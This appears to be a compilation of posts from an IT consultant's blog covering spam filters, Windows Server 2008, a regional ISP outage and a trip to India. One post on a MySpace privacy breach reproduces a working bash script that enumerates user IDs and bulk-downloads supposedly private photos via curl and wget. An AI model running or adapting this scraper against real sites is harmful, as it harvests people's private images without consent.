SPAM Filtering: A reference for the rest of us.

Fighting SPAM has never been easier and harder at the same time. I know that it sounds like a contradiction but there is so much technology out there to protect you from spam that it is tough to know what actually works.

We have managed thousands of individual mailboxes over the years and there seems to be Three major approaches to fighting SPAM. They are: Desktop, Server and in the Cloud or appliance solutions. I am going to give you my recommendation for each of the services. And then my bottom line advice and watch out for a huge curve ball.

Desktop Filtering

Outlook 2007 BoxDesktop anti-spam gives the user the greatest level of control over their SPAM policy and rules. It runs directly on the desktop and acts like a filter between your inbox and your email software. Most of the time these solutions work quite well, and by quite well I mean that the end user actually sees that there is something happening and their SPAM folder is catching nefarious emails. The big problem is that the filtering is happening at the client PC and it does nothing to combat the actual source of the email. It just SORTS and judges the mail, so what you basically get is a great sieve that catches and classifies email. Not elegant but it most certainly works. I like the powerful filtering of Outlook 2003 and above.. Yep Outlook has a fantastic spam catching engine and the best thing is the price.. Free!

Cloudmark LogoMy runner up for this service is Cloudmark Desktop edition, at $39.95 it is a steal if you Outlook is not keeping up with your crazy emails the only reason that this is a second choice is because the price tag is a little high if you have more than a few machines.

Server Based SPAM Filters

GFI MailSecurityMost of you are running a Windows Server and if you are running Windows Server chances are you are also running Exchange Server so this is where I am going to focus my attention. The majority of our clients use Symantec Mail Security for Exchange and it had been doing a pretty good job until recently with the new breed of image based spam. So we have been looking at GFI MailEssentials which seems to be a more comprehensive solution for anti-spam on an Exchange Server. I would have said that the Symantec product is the better choice but I don’t have confidence that they will deliver a product that will solve the problems of SMB’s. They have really upset an entire community with their new Endpoint Security product that causes stability issues. If you need to choose a new filter go with GFI, it is stable and the updates usually address the common spam issues.

SPAM Appliances

Mailfoundy

When it comes to appliance based filtering the clear market leader in terms of name recognition is the Barracuda. This is a GREAT filtering appliance and if you want to buy the best BRAND then buy this. But if you want an appliance that catches more spam and is actually more potent I suggest the MailFoundry. I met these guys a few years ago at ISPcon; a conference for Internet Service Providers and I have deployed a number of them for our clients. Clean install, with very little fuss and a very potent scanning engine. If only their marketing budget was as good as their product: They would rule the world.

Scanning in the Clouds

If you want the benefits of a scanning appliance but none of the up front costs consider a SAS (Software as A Service) provider like St. Bernard Software and their LivePrism service. (We use them for our office and love them) or a service provider that hosts an appliance for you. There are a number of companies that will host a barracuda or mailfoundry for your office. ST.Bernard LivePrism You pay a simple monthly service cost and they filter your mail before it even touches your network. You get the best of both worlds, but you may not get the configurable that you need and tech support can be problematic if you rely solely on them to debug email issues. My vote for this would be St. Bernard’s LivePrism because it just works and is a dream to setup and each person can manage their own quarantine section.

The Bottom Line

If your ISP hosts your email then you are stuck with a desktop solution. If you have less than 10 users and don’t mind managing your own black / white lists and you have Exchange then GFI Mail Essentials, but if you can afford the $1200 or so get an appliance.

Google AppsOr just switch your entire company to Google Apps and get the best of breed spam, anti-virus filtering from everyone’s favorite company GOOGLE.

You get the filtering capability of GMAIL Amazing! with your own domain name for ZERO, Zip, Nada or FREE. And get Webmail and calendaring right out of the box. Call me and I can help you switch to the most reliable email provider in the world.

Myspace Hack and Identity Theft

This may seem like random lines to a lot of you, but it is the code to the largest theft of private user data to date.


#! /bin/bash
a=$1
LIMIT=$2
dir=$3
for ((; a <= LIMIT ; a++)) do curl -s -d user=$a http://myspaceprivateprofile.com/view.php > view$LIMIT
if [ `grep -o 'Pictures: [0-9]*' view$LIMIT | awk '{ print $2 }'` -ne 0 ]
then
grep -o 'http://[a-z0-9A-Z/._-]*.jpg' view$LIMIT | wget -q -i - -P ./$dir/
echo $a >> listwpics
grep -o 'http://[a-z0-9A-Z/._-]*.jpg' view$LIMIT >> listwpics
echo $a
mv view$LIMIT ./html4/$a.html
fi
done
rm view$LIMIT

A 17-gigabyte file that contains more than half a million previously private images that were pick pocketed from Myspace is out in the wild and downloadable via BitTorrent. This privacy breach if true would be the largest security exploit on the web 2.0 social networking site.

It seems that Myspace has responded by patching the security holes, but thats like closing the barn door after the cows have escaped. To little to late.

With the amount of personal data that these site have, there should be a greater effort in enforcing user privacy and stiffer penalties for not protecting private data. This time it was just pictures, next time on a different site it could be credit card details or social security numbers.

Lifelock Discount CodeI personally use Lifelock to defend me from these ever popular data thefts. Click if you want a 30 Day free and $21 off lifelock coupon code, protect your identity before some hacker buys a new flat screen with your credit info!

8 Top Things You Need to Know about 2008 Server

For those of you who have been long time subscribers to TechTalk you know that I am not a fan of Microsoft Windows Vista. In fact I think it is the one piece of Microsoft software that actually hinders business productivity. I have clients who switch almost every week from Vista back to XP, because of performance issues. More than a year after its release it is still not production ready. No wonder so many people are switching to the Mac. With that said, not everything that comes out of Redmond lately hurts productivity.

I have been working with Windows 2008 Server for about two months now in its pre-release format and I have to tell you, that they have got it right.  Sure there are bound to be bugs, but it will be well worth the upgrade.  If you want to skip this email and get on with your day, feel free knowing that my recommendation will be to upgrade to 08 in 08. I just want you to wait until the second quarter.

Faster File Sharing

The SMB (Server Message Block) protocol has been upgraded to version 2.  The previous version that is still in use today was developed 15 years ago and had some serious shortcomings.  SMB 2.0 will more than double the speed of your file transfers.  The big problem is that the only desktop operating system that runs SMB 2.0 is Windows Vista at this time. I expect that this will trickle down eventually into other operating systems, but who knows. For those of you who are running Vista, the speed increase will be immediately noticeable.

Virtualization

I have already written about Server Virtualization but now Microsoft has made it part of the operating system. No more third party tools required to experience the benefits of virtual servers. There are third party tools that will help to round out their offering, but they will be more cost effective than the VMWare alternative. Having virtualization built into the heart of the operating system will increase its stability and really help this technology thrive. If you are going to use virtualization, make sure that you remember it requires a 64Bit CPU, my suggestion would be the Intel VT or the AMD Pacifica.

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Virtualization Journal

Its always nice to see your name in print. Today I found this article about me in Sys-Con.com. The Virtualization Journal is one of the top industry publications for server virtualization.

It is always nice to be syndicated and mentioned in an International Media.

Disc Wireless Outage Continues – Week 3

No one likes to see someone in their same industry struggling to keep subscribers happy and informed when there is a catastrophic network outage. At this point Disc Wireless http://www.disc.net has been down for almost 3 weeks. Their subscribers have left in droves, seeking alternate connections to the Internet.

I suspect that DISC is not even sure what their current subscriber count is nor will they have an idea of the real impact of this outage for weeks or even months down the line. I will say that I have been monitoring the messages left of the DISC Wireless voicemail system and I am VERY impressed by the way that they are actively communicating with their customers and keeping people in the look.

I feel that they are doing the best that they can during less than ideal circumstances and they are keeping their chins high. I have three distinct feelings about the situation, these feelings come from my unique points of view on this situation. I have feelings as one of the businesses in the same space about a peer struggling to maintain their customers, I have feelings as an outsider looking in with dismay at how many businesses are stranded at this point and then I am looking at this with my MBA hat on and this is the most fascinating.

As an MBA in Marketing I know how difficult it is to get you message to your customer and just how that message is perceived. I know the skepticism that customers have when you have let them down, and how difficult it is to rise above the situation and move forward. I am really impressed with DISC and how their customer care team has handled this. They have been experts since the first voicemail message that I heard over a week and a half ago. They are handling the situation like a well oiled machine supporting an enterprise sized business. I hope that their customers hear the genuine appeal and remain loyal as long as possible.

Here is the recording from Saturday afternoon on the DISC Wireless voicemail system. Stating that they are not sure when the issue will be resolved.

DISC Wireless Still Down

I was hoping that DISC Wireless would have been able to restart their service this weekend but it seems that they are still running into problems with XO Communications. I am still not certain about the nature of the outage but for an ISP to be down for about eight days, it had to have been big.

ISP’s typically have well engineered and redundant systems, so for an ISP to be unable to provide services to their customers the issue must have been big.

Here is a recording from Sunday night at about 6:30pm from the DISC Wireless Technical support phone number. In my opinion, the frustration that this must have caused their subscribers is immense and I am confident that their business will take a significant loss because of this catastrophic outage. They have started having their customers FAX in correspondence because their email servers are all down. I suspect that their voicemail boxes are getting quite full at this point in time also.

I wish them the best of luck in getting turned back on, bright and early Monday morning. For those customers that are still without service give Skyriver a call at 858.812.5280. They can get you up in a day!

Disc Wireless Skyriver

Shakeup in the Coachella Valley Internet Market

It seems that one of the business internet service providers in the Palm Springs, Coachella Valley and Indio has been disconnected from the Internet. DISC Wireless a WISP has been down for more than a week leaving hundreds of clients without service. My understanding is that they do not have upstream Internet connectivity but that their wireless network is still functional. I called their technical support department this morning at 9:30am to hear a message from last night that XO communications has not enabled their upstream connectivity.

You can listen to the recording from their support department here. It seems that they were expecting to be online last night before 10pm but their website and customers are still down.

I am not going to speculate on what happened, all I know is that customer are down and DISC Wireless is currently not online. When the network is back online their website is http://www.dis.net and the customer support number is 760-325-DISC.

I know that Time Warner Cable, ATT and Skyriver have dispatched their sales departments to the area to help stranded customers. What business can survive without Internet Service for over a week?

Getting your Internet connection back up and going is not the biggest issue facing business customers. Their biggest issue if DIS Wireless cannot get their network back up is going to be their email and web hosting services. If their domains were registered by DIS and the DIS email servers are off line they may have no way to release the domains customers. Chances are this will keep customers down longer than need when they switch to another provider.

If you would like a reliable Internet Provider and you are an affected customer Skyriver can get you connect and up and running within 1 DAY with speeds ranging from 1Mbps to 10Mbps. You can call them at 858.812.5280

Leaving India

Its midnight Maharajah and I am sitting in the lounge at the New Delhi airport waiting for a flight that is about ten hours away. I have not written for the past few days not because there was nothing to write, on the contrary there has been so much to write that figuring out where to start would be even more difficult than actually putting pen to paper.

I think that I left off in the Pink City which seems like a million years ago. This was a long trip, but no where near long enough at the same time. We spent about eleven days in Rajastan and we only went to four or five cities out of about a dozen. And Rajastan is only one of about twenty states in the Indian pantheon each of which has a unique and flavor and character.

The last few day have been spent in Bombay, the most vibrant city that we visited. The oppressive heat means that the city really lights up after the sun goes down. We dined at the cities premier seafood restaurant Trishna a once in the trip journey into luxury. The mean cost about as much as a night in a hotel but the garlic prawns and de-boned whitefish Hyderabad style were Amazing! Well worth the splurge as our last dinner in India. Ok, enough about that meal, incredible as it was.

I have been sneezing since the moment we stepped off the plane, there is something in the air or perhaps the air itself that is just generating this torrenting tornado of bloodshot eyes and a snotty nose. Lisa is unaffected by this so it must just be me. This place is alive, everywhere you look there is a crowd, this is unlike anything that I have seen or even imagined. The impromptu commuter passages, the sidewalks that become roads and how six cars can fit on a four lane road make me think of an ant colony. When you look at the hustle and bustle it seems disorganized but when you take a step back the elegance really shines through.

I know that the book Shantaram helped me tremendously on this trip, without it my perspective would have been skewed by my own personal biases. Bombay came alive on the pages of the book and visiting Leopolds Bar anchored me in the experience. The heat, the hustle, the crush of people getting onto the train (a whole story here) is spontaneous and passionate. I loved every moment here even with my head feeling like it would pop.

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Bombay – Train Time – Santacruz Station to Church Gate

Being our first night we headed back to our hotel in a Second class train ride. Our original journey on Sunday morning cost us 156 Rupees, which equates to a good breakfast so we decided to take the second class option which costs 14 for both of us. The train car was crowded but not claustrophobic and one of the older gentlemen that we were sitting near came up to us and started talking. The usual, where are you from, how long are you here, what’s your name, he was very well spoken and after a while he told us that tomorrow we would be unable to take the Second class option because there is not enough room to breath never mind sit, so we would be better off taking the First Class option as he would during the week.

The next morning, MADNESS. I have never seen anything this chaotic, pushing, shoving and people jumping from the over stuffed train doors before the car has stopped. Scary. The book Shantaram describes this perfectly and one of the things that he says is that the amount of force required to do anything in India, including boarding a train is “just enough.” Just enough to get the job done, just enough to make sure that you don’t miss the train. Trains are usually on time, maybe a minute late, but these clunking beasts are not sitting for long.

I estimate that they are only in the station for about 30 seconds and in that time hundreds of people change places some getting to their station and some getting onboard for the office. Most people start work by 10am so the crashing trains happen until about 10:30 and then lighten up. Somewhat. Today we took the train and Lisa had to sit in the ladies only section because of the number of people and I sat in the baggage car with the fish merchants who were transporting their catch and the road workers with their pick axes and steaming hot chai teas.

I was sitting and holding a one Liter bottle of water that was half finished. While I was sitting down I got a tap on the leg and the guy next to me motioned for the bottle. I offered and he took a sip in that all to Indian style of drinking. Never let ones lips touch the cup or the container. The is the land of sharing especially water. On the streets one water merchant may only have six stainless steel cups for 100 customers. Each one making sure that his lips never touch the rim of the glass. Its more of a pour than a sip. But any way, no local would dream of carrying around a liter of water so having a half finished bottle in the baggage cart was just an invitation to share.